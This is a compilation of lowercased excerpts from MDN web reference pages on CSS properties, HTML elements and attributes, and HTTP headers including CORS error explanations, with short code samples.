...roke-box | view-boxwhere <shape-box> = <box> | margin-boxwhere <box> = border-box | padding-box | content-box examples setting mask origin to border-box css #masked { width: 100px; height: 100px; margin: 10px; border: 10px solid blue; background-color: #8cffa0; padding: 10px; mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); mask-origin: border-box; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="origin"> <option value="content-box">content-box</option> <option value="padding-box">padding-box</option> <option value="border-box" selected>border-box</option> <option value="margin-box">margin-box</option> <option value="fill-box">fill-box</option> <option value="stroke-box">stroke-box</option> <option va...
...lue="view-box">view-box</option> </select> javascript var origin = document.getelementbyid("origin"); origin.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskorigin = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-origin' in that specification.
mask - CSS: Cascading Style Sheets
WebCSSmask
formal definition initial valueas each of the properties of the shorthand:mask-image: nonemask-mode: match-sourcemask-repeat: no-repeatmask-position: centermask-clip: border-boxmask-origin: border-boxmask-size: automask-composite: addapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednopercentagesas each of the properties of the shorthand:mask-position: refer t...
...o size of mask painting area minus size of mask layer image (see the text for background-position)computed valueas each of the properties of the shorthand:mask-image: as specified, but with <url> values made absolutemask-mode: as specifiedmask-repeat: consists of two keywords, one per dimensionmask-position: consists of two keywords representing the origin and two offsets from that origin, each given as an absolute length (if given a <length>), otherwise as a percentage.mask-clip: as specifiedmask-origin: as specifiedmask-size: as specified, but with relative lengths converted into absolute lengthsmask-composite: as specifiedanimation typeas each of the properties of the shorthand:mask-image: discretemask-mode: discretemask-repeat: discretemask-position: repeatable list of simple list of len...
... | [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]<bg-size> = [ <length-percentage> | auto ]{1,2} | cover | contain<repeat-style> = repeat-x | repeat-y | [ repeat | space | round | no-repeat ]{1,2}<geometry-box> = <shape-box> | fill-box | stroke-box | view-box<compositing-operator> = add | subtract | intersect | exclude<masking-mode> = alpha | luminance | match-sourcewhere <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient><mask-source> = <url><length-percentage> = <length> | <percentage><shape-box> = <box> | margin-boxwhere <image()> = image( <image-tags>?
max-block-size - CSS: Cascading Style Sheets
see the example in writing-mode, which shows the different writing modes in action.
...both boxes share the standard-box class, which simply establishes coloring, padding, and their respective values of max-block-size.
... after that come the classes horizontal and vertical, which add the writing-mode property to the box, with the value set to horizontal-tb or vertical-rl depending on which class is used.
mix-blend-mode - CSS: Cascading Style Sheets
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmix-blend-modechrome full support 41edge full support 79firefox full support 32ie no support noopera full support 28safari full support 8webview android full support 41chrome android full support 41firefox android full support 32opera andr...
...oid full support 28safari ios full support 8samsung internet android full support 4.0on svg elementschrome full support 41edge full support 79firefox full support 32ie no support noopera full support 28safari no support nowebview android no support nochrome android no support nofirefox android ...
offset-path - CSS: Cascading Style Sheets
each shape or path must define an initial position for the computed value of 0 for offset-distance and an initial direction which specifies the rotation of the object to the initial position.
...it was changed to offset-path because the property describes static positions, not motion.
...the path, as can be seen in the rendering of the svg code, is a line drawing of a house with a chimney.
orphans - CSS: Cascading Style Sheets
WebCSSorphans
it has a little bit more text than the first one.</p> </div> css div { background-color: #8cffa0; height: 150px; columns: 3; orphans: 3; } p { background-color: #8ca0ff; } p:first-child { margin-top: 0; } result specifications specification status comment css fragmentation module level 3the definition of 'orphans' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetorphanschrome full support 25edge full support 12firefox no support noie full support 8opera full support 9.2safari full support 1.3webview android full support ≤37chrome android full support 25firefox android no support noopera android ...
padding-bottom - CSS: Cascading Style Sheets
syntax /* <length> values */ padding-bottom: 0.5em; padding-bottom: 0; padding-bottom: 2cm; /* <percentage> value */ padding-bottom: 10%; /* global values */ padding-bottom: inherit; padding-bottom: initial; padding-bottom: unset; the padding-bottom property is specified as a single value chosen from the list below.
... working draft no change.
... recommendation no change.
padding-left - CSS: Cascading Style Sheets
syntax /* <length> values */ padding-left: 0.5em; padding-left: 0; padding-left: 2cm; /* <percentage> value */ padding-left: 10%; /* global values */ padding-left: inherit; padding-left: initial; padding-left: unset; the padding-left property is specified as a single value chosen from the list below.
... working draft no change.
... recommendation no change.
padding-right - CSS: Cascading Style Sheets
syntax /* <length> values */ padding-right: 0.5em; padding-right: 0; padding-right: 2cm; /* <percentage> value */ padding-right: 10%; /* global values */ padding-right: inherit; padding-right: initial; padding-right: unset; the padding-right property is specified as a single value chosen from the list below.
... working draft no change.
... recommendation no change.
padding-top - CSS: Cascading Style Sheets
syntax /* <length> values */ padding-top: 0.5em; padding-top: 0; padding-top: 2cm; /* <percentage> value */ padding-top: 10%; /* global values */ padding-top: inherit; padding-top: initial; padding-top: unset; the padding-top property is specified as a single value chosen from the list below.
... working draft no change.
... recommendation no change.
scroll-snap-destination - CSS: Cascading Style Sheets
the scroll-snap-destination css property defines the position in x and y coordinates within the scroll container's visual viewport which element snap points align with.
... <div> <p>at coordinate (25, 0)</p> <div class="scrollcontainer destination25"> <div>1</div> <div>2</div> <div>3</div> </div> </div> <div> <p>at coordinate (50, 0)</p> <div class="scrollcontainer destination50"> <div>1</div> <div>2</div> <div>3</div> </div> </div> </div> css #container { display: flex; } #container > div:nth-child(-n+2) { margin-right: 20px; } .scrollcontainer { width: 100px; overflow: auto; white-space: nowrap; scroll-snap-points-x: repeat(100%); scroll-snap-type: mandatory; scroll-snap-destination: 20px 0; font-size: 0; } .destination0 { scroll-snap-destination: 0 0; } .destination25 { scroll-snap-destination: 25px 0; } .destination50 { scroll-snap-destination: 50px 0; } .sc...
...rollcontainer > div { width: 100px; height: 100px; display: inline-block; line-height: 100px; text-align: center; font-size: 50px; } .scrollcontainer > div:nth-child(even) { background-color: #87ea87; } .scrollcontainer > div:nth-child(odd) { background-color: #87ccea; } result specifications not part of any standard.
symbols() - CSS: Cascading Style Sheets
WebCSSsymbols
the symbols() css function lets you define counter styles inline, directly as the value of a property such as list-style.
...[ <string> | <image> ]+ ); <symbols-type> can be one of the following: cyclic: the system cycles through the given values in the order of their definition, and returns to the start when it reaches the end.
... symbolic: the system cycles through the values, printing them an additional time at each cycle (one time for the first cycle, two times for the second, etc.).
text-decoration-skip-ink - CSS: Cascading Style Sheets
auto the default — the browser may interrupt underlines and overlines so that they do not touch or closely approach a glyph.
... all the browser must interrupt underlines and overlines so that they do not touch or closely approach a glyph.
... this can be helpful with certain chinese, japanese, or korean (cjk) fonts, where the auto behavior might not create interruptions.
text-decoration-skip - CSS: Cascading Style Sheets
objects the entire margin box of the element is skipped if it is an atomic inline such as an image or inline-block.
... spaces all spacing is skipped: all unicode white space characters and all word separators, plus any adjacent letter-spacing or word-spacing.
...(this is important in chinese, where underlining is a form of punctuation.) box-decoration the text decoration is skipped over the box's margin, border, and padding areas.
perspective() - CSS: Cascading Style Sheets
the perspective() css function defines a transformation that sets the distance between the user and the z=0 plane, the perspective from which the viewer would be if the 2-dimensional interface were 3-dimensional.
...this differs from the perspective and perspective-origin properties which are attached to the parent of a child transformed in 3-dimensional space.
... syntax the perspective distance used by perspective() is specified by a <length> value, which represents the distance between the user and the z=0 plane.
scaleZ() - CSS: Cascading Style Sheets
this scaling transformation modifies the z-coordinate of each element point by a constant factor, except when the scale factor is 1, in which case the function is the identity transform.
... in the above interactive examples, perspective: 550px; (to create a 3d space) and transform-style: preserve-3d; (so the children, the 6 sides of the cube, are also positioned in the 3d space), have been set on the cube.
... syntax scalez(s) values s is a <number> representing the scaling factor to apply on the z-coordinate of each point of the element.
skew() - CSS: Cascading Style Sheets
this transformation is a shear mapping (transvection) that distorts each point within an element by a certain angle in the horizontal and vertical directions.
... the coordinates of each point are modified by a value proportionate to the specified angle and the distance to the origin; thus, the farther from the origin a point is, the greater will be the value added it.
... syntax the skew() function is specified with either one or two values, which represent the amount of skewing to be applied in each direction.
translateZ() - CSS: Cascading Style Sheets
this transformation is defined by a <length> which specifies how far inward or outward the element or elements move.
... in the above interactive examples, perspective: 550px; (to create a 3d space) and transform-style: preserve-3d; (so the children, the 6 sides of the cube, are also positioned in the 3d space), have been set on the cube.
... note if the perspective() value is less than the translatez() value, such as transform: perspective(200px) translatez(300px); the transformed element will not be visible as it is further than the user's viewport.
Used value - CSS: Cascading Style Sheets
note: the getcomputedstyle() dom api returns the resolved value, which may either be the computed value or the used value, depending on the property.
...the following are the css 2.1 properties that do depend on layout, so they have a different computed value and used value: (taken from css 2.1 changes: specified, computed, and actual values): background-position bottom, left, right, top height, width margin-bottom, margin-left, margin-right, margin-top min-height, min-width padding-bottom, padding-left, padding-right, padding-top text-indent specification specification status comment css level 2 (revision 2)the definition of 'used value' in that spe...
... working draft no change.
user-select - CSS: Cascading Style Sheets
this doesn't have any effect on content loaded as chrome, except in textboxes.
...webkit/chromium-based browsers do implement the property as inherited, which violates the behavior described in the spec, and this will bring some issues.
... until now, chromium chooses to fix the issues, make the final behavior meets the specifications.
word-break - CSS: Cascading Style Sheets
syntax /* keyword values */ word-break: normal; word-break: break-all; word-break: keep-all; word-break: break-word; /* deprecated */ /* global values */ word-break: inherit; word-break: initial; word-break: unset; the word-break property is specified as a single keyword chosen from the list of values below.
... break-all to prevent overflow, word breaks should be inserted between any two characters (excluding chinese/japanese/korean text).
... keep-all word breaks should not be used for chinese/japanese/korean (cjk) text.
str:tokenize() - EXSLT
WebEXSLTstrtokenize
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes str:tokenize() splits a string using a set of characters as delimiters that determine where the splits should occur, returning a node-set containing the resulting strings.
... delimiters each character in this string is used as a word separator while tokenizing.
... returns a node-set of token elements, each containing one token from the string.
Graphics on the Web - Developer guides
websites and applications often need to present graphics, such as images.
...this technology lets you use standard opengl es in web content.
... webrtc the rtc in webrtc stands for real-time communications, a technology that enables audio/video streaming and data sharing between browser clients (peers).
XHTML - Developer guides
WebGuideHTMLXHTML
html document content-type: text/html <!doctype html> <html lang=en> <head> <meta charset=utf-8> <title>html</title> </head> <body> <p>i am a html document</p> </body> </html> xhtml document content-type: application/xhtml+xml <?xml version="1.0" encoding="utf-8"?> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>xhtml</title> </head> <body> <p>i am a xhtml document</p> </body> </html> in practice, very few "xhtml" documents are served over the web with...
...instead, even though the documents are written to conform to xml syntax rules, they are served with a content-type: text/html header — so browsers parse those documents using html parsers rather than xml parsers, which can cause a variety of sometimes-very-surprising problems.
...by henri sivonen xhtml is not for beginners by lachlan hunt ...
HTML attribute: capture - HTML: Hypertext Markup Language
the capture attribute specifies that, optionally, a new file should be captured, and which device should be used to capture that new media of a type defined by the accept attribute.
... the capture attribute takes as it's value a string that specifies which camera to use for capture of image or video data, if the accept attribute indicates that the input should be of one of those types.
... environment the outward-facing camera and/or microphone should be used note: capture was previously a boolean attribute which, if present, requested that the device's media capture device(s) such as camera or microphone be used instead of requesting a file input.
HTML attribute: crossorigin - HTML: Hypertext Markup Language
the crossorigin attribute, valid on the <audio>, <img>, <link>, <script>, and <video> elements, provides support for cors, defining how the element handles crossorigin requests, thereby enabling the configuration of the cors requests for the element's fetched data.
...the "anonymous" keyword means that there will be no exchange of user credentials via cookies, client-side ssl certificates or http authentication as described in the terminology section of the cors specification, unless it is in the same origin.
... <script src="https://example.com/example-framework.js" crossorigin="anonymous"></script> example: webmanifest with credentials the use-credentials value must be used when fetching a manifest that requires credentials, even if the file is from the same origin.
HTML attribute: max - HTML: Hypertext Markup Language
WebHTMLAttributesmax
if the value exceeds the max value allowed, the validitystate.rangeoverflow will be true, and the the control will be matched by the :out-of-range and :invalid pseudo-classes.
...e-local yyyy-mm-ddthh:mm <input type="datetime-local" min="2019-12-25t23:59"> number <number> <input type="number" min="0" step="5" max="100"> range <number> <input type="range" min="60" step="5" max="100"> note: when the data entered by the user doesn't adhere to the maximum value set, the value is considered invalid in contraint validation and will match the :invalid and :out-of-range pseudoclasses see client-side validation and rangeoverflow for more information.
... for the<progress> element, the max attribute describes how much work the task indicated by the progress element requires.
HTML attribute: size - HTML: Hypertext Markup Language
WebHTMLAttributessize
for the input, if the type attribute is text or password then it's the number of characters.
...adding size on a select changes the height, definining how many options are visible in the closed state.
... <label for="fruit">enter a fruit</label> <input type="text" size="15" id="fruit"> <label for="vegetable">enter a vegetable</label> <input type="text" id="vegetable"> <select name="fruits" size="5"> <option>banana</option> <option>cherry</option> <option>strawberry</option> <option>durian</option> <option>blueberry</option> </select> <select name="vegetables" size="5"> <option>carrot</option> <option>cucumber</option> <option>cauliflower</option> <option>celery</option> <option>collard greens</option> </select> specifications specification status html living standardthe definition of 'size attribute' in that specification.
<applet>: The Embed Java Applet element - HTML: Hypertext Markup Language
WebHTMLElementapplet
the <applet> element was removed in gecko 56 and chrome 47.
... archive this attribute refers to an archived or compressed version of the applet and its associated class files, which might help reduce download time.
... example html <applet code="game.class" align="left" archive="game.zip" height="250" width="350"> <param name="difficulty" value="easy"> <b>sorry, you need java to play this game.</b> </applet> specifications specification status comment html 5.2the definition of '<applet>' in that specification.
<article>: The Article Contents element - HTML: Hypertext Markup Language
WebHTMLElementarticle
the html <article> element represents a self-contained composition in a document, page, application, or site, which is intended to be independently distributable or reusable (e.g., in syndication).
... a given document can have multiple articles in it; for example, on a blog that shows the text of each article one after another as the reader scrolls, each post would be contained in an <article> element, possibly with one or more <section>s within.
... usage notes each <article> should be identified, typically by including a heading (<h1>-<h6> element) as a child of the <article> element.
<bdo>: The Bidirectional Text Override element - HTML: Hypertext Markup Language
WebHTMLElementbdo
the text's characters are drawn from the starting point in the given direction; the individual characters' orientation is not affected (so characters don't get drawn backward, for example).
... dir the direction in which text should be rendered in this element's contents.
... examples <!-- switch text direction --> <p>this text will go left to right.</p> <p><bdo dir="rtl">this text will go right to left.</bdo></p> result notes the html 4 specification did not specify events for this element; they were added in xhtml.
<canvas>: The Graphics Canvas element - HTML: Hypertext Markup Language
WebHTMLElementcanvas
permitted content transparent but with no interactive content descendants except for <a> elements, <button> elements, <input> elements whose type attribute is checkbox, radio, or button.
... sizing the canvas using css versus html the displayed size of the canvas can be changed using css, but if you do this the image is scaled during rendering to fit the styled size, which can make the final graphics rendering end up being distorted.
...stack overflow): browser maximum height maximum width maximum area chrome 32,767 pixels 32,767 pixels 268,435,456 pixels (i.e., 16,384 x 16,384) firefox 32,767 pixels 32,767 pixels 472,907,776 pixels (i.e., 22,528 x 20,992) safari 32,767 pixels 32,767 pixels 268,435,456 pixels (i.e., 16,384 x 16,384) ie 8,192 pixels 8,192 pixels ?
<font> - HTML: Hypertext Markup Language
WebHTMLElementfont
starting with html 4, html does not convey styling information anymore (outside the <style> element or the style attribute of each element).
... the former behavior of the <font> element can be achieved, and even better controlled using the css fonts css properties.
...it can be defined using a relative value, like +2 or -3, which set it relative to the value of the size attribute of the <basefont> element, or relative to 3, the default value, if none does exist.
<frame> - HTML: Hypertext Markup Language
WebHTMLElementframe
<frame> is an html element which defines a particular area in which another html document can be displayed.
... using the <frame> element is not encouraged because of certain disadvantages such as performance problems and lack of accessibility for users with screen readers.
...there are two choices: "yes" for forcing a scrollbar even when it is not necessary and "no" for forcing no scrollbar even when it is necessary.
manifest - HTML: Hypertext Markup Language
WebHTMLElementhtmlmanifest
the manifest attribute of <html> element specifies a url of a application cache manifest that is downloaded in the early stages of page load.
... note: manifest-based caching mechanism has been deprecated.
... the manifest attribute has only effect during early stages of page load, thus changing it via regular dom interfaces has no effect, window.applicationcache interface instead.
<li> - HTML: Hypertext Markup Language
WebHTMLElementli
in ordered lists, they are usually displayed with an ascending counter on the left, such as a number or letter.
... implicit aria role listitem when child of an ol, ul or menu permitted aria roles menuitem, menuitemcheckbox, menuitemradio, option, none, presentation, radio, separator, tab, treeitem dom interface htmllielement attributes this element includes the global attributes.
... type this character attribute indicates the numbering type: a: lowercase letters a: uppercase letters i: lowercase roman numerals i: uppercase roman numerals 1: numbers this type overrides the one used by its parent <ol> element, if any.
<meter>: The HTML Meter element - HTML: Hypertext Markup Language
WebHTMLElementmeter
this attribute is only used if the <meter> element is being used as a form-associated element, such as one displaying a range corresponding to an <input type="number">.
... examples simple example html <p>heat the oven to <meter min="200" max="500" value="350">350 degrees</meter>.</p> result on google chrome, the resulting meter looks like this: high and low range example note that in this example the min attribute is omitted.
... html <p>he got a <meter low="69" high="80" max="100" value="84">b</meter> on the exam.</p> result on google chrome, the resulting meter looks like this: specifications specification status comment html living standardthe definition of '<meter>' in that specification.
<nav>: The Navigation Section element - HTML: Hypertext Markup Language
WebHTMLElementnav
aria-labelledby can be used in such case to promote accessibility, see example.
... user agents, such as screen readers targeting disabled users, can use this element to determine whether to omit the initial rendering of navigation-only content.
... living standard no change since latest w3c snapshot.
<rp>: The Ruby Fallback Parenthesis element - HTML: Hypertext Markup Language
WebHTMLElementrp
one <rp> element should enclose each of the opening and closing parentheses that wrap the <rt> element that contains the annotation's text.
... usage notes ruby annotations are for showing pronunciation of east asian characters, like using japanese furigana or taiwanese bopomofo characters.
... examples this example uses ruby annotations to display the romaji equivalents for each character.
<span> - HTML: Hypertext Markup Language
WebHTMLElementspan
the html <span> element is a generic inline container for phrasing content, which does not inherently represent anything.
... it can be used to group elements for styling purposes (using the class or id attributes), or because they share attribute values, such as lang.
...<span> is very much like a <div> element, but <div> is a block-level element whereas a <span> is an inline element.
<ul>: The Unordered List element - HTML: Hypertext Markup Language
WebHTMLElementul
content categories flow content, and if the <ul> element's children include at least one <li> element, palpable content.
...typically, unordered-list items are displayed with a bullet, which can be of several forms, like a dot, a circle, or a square.
...as a rule of thumb to determine which one to use, try changing the order of the list items; if the meaning is changed, the <ol> element should be used, otherwise you can use <ul>.
autocapitalize - HTML: Hypertext Markup Language
the attribute must take one of the following values: off or none: no autocapitalization is applied (all letters default to lowercase) on or sentences: the first letter of each sentence defaults to a capital letter; all other letters default to lowercase words: the first letter of each word defaults to a capital letter; all other letters default to lowercase characters: all letters should default to uppercase the autocapitalize attribute doesn’t affect behavior when typing on a physical keyboard.
... instead, it affects the behavior of other input mechanisms, such as virtual keyboards on mobile devices and voice input.
... the behavior of such mechanisms is that they often assist users by automatically capitalizing the first letter of sentences.
class - HTML: Hypertext Markup Language
semantic names remain logical even if the presentation of the page changes.
... living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'class' in that specification.
... recommendation snapshot of html living standard, no change from html5 html5the definition of 'class' in that specification.
draggable - HTML: Hypertext Markup Language
if this attribute is not set, its default value is auto, which means drag behavior is the default browser behavior: only text selections, images, and links can be dragged.
... living standard no change from latest snapshot, html 5.1 html 5.2the definition of 'draggable' in that specification.
... recommendation no change html 5.1the definition of 'draggable' in that specification.
dropzone - HTML: Hypertext Markup Language
it can have the following values: copy, which indicates that dropping will create a copy of the element that was dragged.
... move, which indicates that the element that was dragged will be moved to this new location.
... link, which will create a link to the dragged data.
x-ms-acceleratorkey - HTML: Hypertext Markup Language
there may also be large incompatibilities between implementations and the behavior may change in the future.
... x-ms-acceleratorkey exposes a notification in the accessibility tree, for screen readers and other assistive technologies, that an accelerator key exists for that element.
...this approach is more complicated, but does not override existing keyboard shortcuts provided by the user’s browser or operating system.
HTML reference - HTML: Hypertext Markup Language
html element reference this page lists all the html elements, which are created using tags.
... link types in html, the following link types indicate the relationship between two documents, in which one links to the other using an <a>, <area>, or <link> element.
... content categories every html element is a member of one or more content categories — these categories group elements that share common characteristics.
Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ - HTTP
the response to the cors request that was sent by the server includes an access-control-allow-headers header which includes at least one invalid header name.
... the access-control-allow-headers header is sent by the server in response to a preflight request; it lets the client know which http headers are permitted in cors requests.
...it may also be worth checking to ensure that the user agent or http library you're using on the client is up-to-date.
Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Methods’ - HTTP
the response to the cors request that was sent by the server includes an access-control-allow-methods header which includes at least one invalid method name.
...the header's value is a comma-delineated string of http method names, such as get, post, or head.
...it may also be worth checking to ensure that the user agent or http library you're using on the client is up-to-date.
Reason: CORS header 'Access-Control-Allow-Origin' missing - HTTP
the response to the cors request is missing the required access-control-allow-origin header, which is used to determine whether or not the resource can be accessed by content operating within the current origin.
...in apache, add a line such as the following to the server's configuration (within the appropriate <directory>, <location>, <files>, or <virtualhost> section).
... the configuration is typically found in a .conf file (httpd.conf and apache.conf are common names for these), or in an .htaccess file.
Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’ - HTTP
the cors request was attempted with the credentials flag set, but the server is configured using the wildcard ("*") as the value of access-control-allow-origin, which doesn't allow the use of credentials.
... if using the fetch api, make sure request.credentials is "omit".
... if, instead, you need to adjust the server's behavior, you'll need to change the value of access-control-allow-origin to grant access to the origin from which the client is loaded.
Reason: CORS request not HTTP - HTTP
cors requests may only use the https url scheme, but the url specified by the request is of a different type.
... to fix this problem, simply make sure you use https urls when issuing requests involving cors, such as xmlhttprequest, fetch apis, web fonts (@font-face), and webgl textures, and xsl stylesheets.
... local file security in firefox 68 when a user opened a page using a file:/// uri in firefox 67 and earlier, the origin of the page was defined as the directory from which the page was opened.
Access-Control-Allow-Credentials - HTTP
the access-control-allow-credentials header works in conjunction with the xmlhttprequest.withcredentials property or with the credentials option in the request() constructor of the fetch api.
... for a cors request with credentials, in order for browsers to expose the response to frontend javascript code, both the server (using the access-control-allow-credentials header) and the client (by setting the credentials mode for the xhr, fetch, or ajax request) must indicate that they’re opting in to including credentials.
... examples allow credentials: access-control-allow-credentials: true using xhr with credentials: var xhr = new xmlhttprequest(); xhr.open('get', 'http://example.com/', true); xhr.withcredentials = true; xhr.send(null); using fetch with credentials: fetch(url, { credentials: 'include' }) specifications specification status comment fetchthe definition of 'access-control-allow-credentials' in that specification.
Access-Control-Expose-Headers - HTTP
the access-control-expose-headers response header indicates which headers can be exposed as part of the response by listing their names.
... by default, only the 7 cors-safelisted response headers are exposed: cache-control content-language content-length content-type expires last-modified pragma if you want clients to be able to access other headers, you have to list them using the access-control-expose-headers header.
...xpose-headers: content-length, x-kuma-revision in requests without credentials, you can also use a wildcard value: access-control-expose-headers: * however, this won't wildcard the authorization header, so if you need to expose that, you will need to list it explicitly: access-control-expose-headers: *, authorization specifications specification status comment fetchthe definition of 'access-control-expose-headers' in that specification.
Authorization - HTTP
other types: iana registry of authentication schemes authentification for aws servers (aws4-hmac-sha256) <credentials> if the "basic" authentication scheme is used, the credentials are constructed like this: the username and the password are combined with a colon (aladdin:opensesame).
... examples authorization: basic ywxhzgrpbjpvcgvuc2vzyw1l see also http authentication for examples on how to configure apache or nginx servers to password protect your site with http basic authentication.
... specifications specification title rfc 7235, section 4.2: authorization http/1.1: authentication rfc 7617 the 'basic' http authentication scheme ...
Connection - HTTP
connection-specific header fields such as connection and keep-alive are prohibited in http/2.
... chrome and firefox ignore them in http/2 responses, but safari conforms to the http/2 spec requirements and won’t load any response which contains them.
...the list of headers are the name of the header to be removed by the first non-transparent proxy or cache in-between: these headers define the connection between the emitter and the first entity, not the destination node.
Cross-Origin-Embedder-Policy - HTTP
allows the document to fetch cross-origin resources without giving explicit permission through the cors protocol or the cross-origin-resource-policy header.
... cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin see also the cross-origin-opener-policy header which you'll need to set as well.
... to check if cross origin isolation has been successful, you can test against the crossoriginisolated property available to window and worker contexts: if (crossoriginisolated) { // post sharedarraybuffer } else { // do something else } avoiding coep blockage with cors if you enable coep using require-corp and have a cross origin resource that needs to be loaded, it needs to support cors and you need to explicitly mark the resource as loadable from another origin to avoid blockage from coep.
Cross-Origin-Resource-Policy - HTTP
note: due to a bug in chrome, setting cross-origin-resource-policy can break pdf rendering, preventing visitors from being able to read past the first page of some pdfs.
... due to a bug in firefox, setting cross-origin-resource-policy can prevent some resources (such as pdfs) from being downloaded in some circumstances.
... specifications specification status comment fetch living standard initial definition ...
Date - HTTP
WebHTTPHeadersDate
the date general http header contains the date and time at which the message was originated.
... note that date is listed in the forbidden header names in the fetch spec - so this code will not send date header: fetch('https://httpbin.org/get', { 'headers': { 'date': (new date()).toutcstring() } }) header type general header forbidden header name yes syntax date: <day-name>, <day> <month> <year> <hour>:<minute>:<second> gmt directives <day-name> one of "mon", "tue", "wed", "thu", "fri", "sat", or "sun" (case-sensitive).
... gmt greenwich mean time.
Expect - HTTP
WebHTTPHeadersExpect
the only expectation defined in the specification is expect: 100-continue, to which the server shall respond with: 100 if the information contained in the header is sufficient to cause an immediate success, 417 (expectation failed) if it cannot meet the expectation; or any other 4xx status otherwise.
... no common browsers send the expect header, but some other clients such as curl do so by default.
... put /somewhere/fun http/1.1 host: origin.example.com content-type: video/h264 content-length: 1234567890987 expect: 100-continue the server now checks the request headers and may respond with a 100 (continue) response to instruct the client to go ahead and send the message body, or it will send a 417 (expectation failed) status if any of the expectations cannot be met.
Expires - HTTP
WebHTTPHeadersExpires
the expires header contains the date/time after which the response is considered stale.
... if there is a cache-control header with the max-age or s-maxage directive in the response, the expires header is ignored.
... examples expires: wed, 21 oct 2015 07:28:00 gmt specifications specification title rfc 7234, section 5.3: expires hypertext transfer protocol (http/1.1): caching ...
Feature-Policy: fullscreen - HTTP
by default, top-level documents and their same-origin child frames can request and enter fullscreen mode.
... features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
...wants to disable fullscreen for all cross-origin child frames, except for a specific <iframe>.
Feature-Policy: sync-xhr - HTTP
the http feature-policy header sync-xhr directive controls whether the current document is allowed to make synchronous xmlhttprequest requests.
... features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
... default policy by default the policy is set to *, which means synchronous requests are allowed in all frames.
Feature-Policy: unsized-media - HTTP
the http feature-policy header unsized-media directive controls whether the current document is allowed to change the size of media elements after the initial layout is complete.
... this restriction solves "layout instability" problem caused by providing default dimensions for images whose size is not specified in advance so that image doesn't change size after loading.
... features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
If-Modified-Since - HTTP
when used in combination with if-none-match, it is ignored, unless the server doesn't support if-none-match.
... the most common use case is to update a cached entity that has no associated etag.
... gmt greenwich mean time.
Last-Modified - HTTP
the last-modified response http header contains the date and time at which the origin server believes the resource was last modified.
...less accurate than an etag header, it is a fallback mechanism.
... gmt greenwich mean time.
Public-Key-Pins-Report-Only - HTTP
note: public key pinning mechanism was deprecated in favor of certificate transparency and expect-ct header.
... max-age=<expire-time> this directive is meaningless for the public-key-pins-report-only header, it will be ignored by user agents and the header will not be cached.
...this key pinning is also valid for all subdomains, which is told by the includesubdomains declaration.
Public-Key-Pins - HTTP
note: public key pinning mechanism was deprecated in favor of certificate transparency and expect-ct header.
...max-age=5184000 tells the client to store this information for two months, which is a reasonable time limit according to the ietf rfc.
... this key pinning is also valid for all subdomains, which is told by the includesubdomains declaration.
Referer - HTTP
WebHTTPHeadersReferer
the referer request header contains the address of the previous web page from which a link to the currently requested page was followed.
... the referer header allows servers to identify where people are visiting them from and may use that data for analytics, logging, or optimized caching, for example.
... header type request header forbidden header name yes syntax referer: <url> directives <url> an absolute or partial address of the previous web page from which a link to the currently requested page was followed.
Referrer-Policy - HTTP
the referrer-policy http header controls how much referrer information (sent via the referer header) should be included with requests.
... there is effort from browsers in moving to a stricter default value, namely strict-origin-when-cross-origin (see https://github.com/whatwg/fetch/pull/952), consider using this value (or a stricter one), if possible, when changing the referrer-policy.
...er: <meta name="referrer" content="origin"> or set it for individual requests with the referrerpolicy attribute on <a>, <area>, <img>, <iframe>, <script>, or <link> elements: <a href="http://example.com" referrerpolicy="origin"> alternatively, a noreferrer link relation on an a, area, or link element can be set: <a href="http://example.com" rel="noreferrer"> integration with css css can fetch resources referenced from stylesheets.
Server - HTTP
WebHTTPHeadersServer
how much detail to include is an interesting balance to strike; exposing the os version is probably a bad idea, as mentioned in the earlier warning about overly-detailed values.
... however, exposed apache versions helped browsers work around a bug those versions had with content-encoding combined with range.
... examples server: apache/2.4.1 (unix) specifications specification title rfc 7231, section 7.4.2: server hypertext transfer protocol (http/1.1): semantics and content ...
Tk - HTTP
WebHTTPHeadersTk
the server is acting as a gateway to an exchange involving multiple parties.
...the origin server does not know, in real-time, whether it has received prior consent for tracking this user, user agent, or device, but promises not to use or share any dnt:1 data until such consent has been determined, and further promises to delete or permanently de-identify within 48 hours any dnt:1 data received for which such consent has not been received.
...the request resulted in a potential change to the tracking status applicable to this user, user agent, or device.
Via - HTTP
WebHTTPHeadersVia
it is used for tracking message forwards, avoiding request loops, and identifying the protocol capabilities of senders along the request/response chain.
...the name of the protocol used, such as "http".
... <protocol-version> the version of the protocol used, such as "1.1".
Want-Digest - HTTP
the sender may use quality values to indicate its preference ordering among the choices it offers.
...some of the supported algorithms, including unixsum and md5 are subject to collisions and are thus not suitable for applications in which collision-resistance is important.
